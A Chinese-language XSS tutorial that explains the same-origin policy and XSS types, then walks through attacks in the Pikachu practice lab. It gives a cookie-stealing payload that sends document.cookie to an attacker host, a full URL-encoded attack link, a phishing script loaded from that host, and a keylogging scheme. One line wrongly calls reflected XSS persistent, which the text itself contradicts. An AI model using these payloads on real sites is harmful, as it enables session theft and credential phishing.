一、JavaScript的常用脚本
1.window.location.href 用来跳转页面
eg:<script>window.location.href='www.jd.com'</script>
2.document.cookie
获取客户端的cookie值
3.script 可以通过“src”属性引入JavaScript文件
二、什么是同源策略
同源策略在web应用的安全模型中是一个重要概念。在这个策略下,web浏览器允许第一个页面的脚本访问第二个页面里的数据,但是也只有在两个页面有相同的源时。源是由url,主机名,端口号组合而成的。这个策略可以阻止一个页面上的恶意脚本通过页面的DOM对象获得访问另一个页面上敏感信息的权限。
对于普遍依赖于cookie维护授权用户session的现代浏览器来说,这种机制有特殊意义。客户端必须在不同站点提供的内容之间维持一个严格限制,以防丢失数据机密或者完整性。
JavaScript中同源指的是两者中的协议,域名,端口号。三者完全相同才认为是同源的
三、xss漏洞的原理
1.xss漏洞的简单介绍
xss是跨站脚本攻击(cross site scripting)的简写,是指用户向web页面插入js代码,当用户浏览这个页面时,web中嵌入的js代码会被执行。
2.什么是脚本
脚本主要由两个JavaScript和actionscript
3.xss攻击的原理
xss漏洞主要是web对输入和输出没有严格的控制与校验,导致输入的脚本在输出到前端时可以被执行从而产生一些危害。
4.xss的危害
钓鱼攻击;获取键盘记录;获取用户cookie;
四、xss的分类
1.反射型(非持久型)
交互的数据一般不存储在数据库中,例如查询等页面
2.存储型(持久型)
交互的数据一般存储在数据库中,例如注册,留言等页面
3.DOM型
不与后台服务器产生交互
五、xss的实现
1.反射型xss又称持久型xss
get请求方式
xss代码出现在url参数中,浏览器发出请求后参数提交到服务器,服务器接收后参数值出现在响应的html中,浏览器解析并执行了xss代码。
当我们输入一个script代码时,<script>alert("hello world")</script>,查看页面结果
查看结果
2.利用反射型xss以get方式提价获取cookie值
首先需要有目标网站,被攻击者和攻击者后台。
2.1攻击者后台
存放获取的cookie值信息。
修改重定向页面
第一步:构造js代码
<script>document.location='http://192.168.'</script>
当我使用虚拟机访问这个连接时,会弹出helloWord
第二步,真正获取cookie值
<script>document.location = 'http://192.168.44.139:8088/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
document.location :将页面重定向到这个页面
pikachu/pkxss/xcookie/cookie.php
伪造的连接:http://192.168.44.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.44.139%3A8088%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit HTTP/1.1
192.168.44.1为物理机的IP地址
192.168.44.139为虚拟机的IP地址,攻击者的IP地址
2.钓鱼攻击
原理:首先攻击者在一个含有xss存储型漏洞的网站插入恶意的代码,例如留言板,当用户点击到这个页面时,浏览器会编译这个恶意代码并执行,此时页面会弹出一个文本框,需要用户输入信息,攻击者将用户的输入发送到自己的网页后台,成功获取到用户的信息
payload:<script src="http://192.168.44.139:8088/pikachu/pkxss/xfish/fish.php"></script>
此时这个IP地址为攻击者的网站地址。
3.获取键盘记录
原理:首先攻击者在一个含有xss存储型漏洞的网站插入恶意的代码,例如留言板,当用户点击到这个页面时,浏览器会编译这个恶意代码并执行,用户通过键盘留言时,恶意代码会将用户的键盘记录发送到攻击者的网站后台。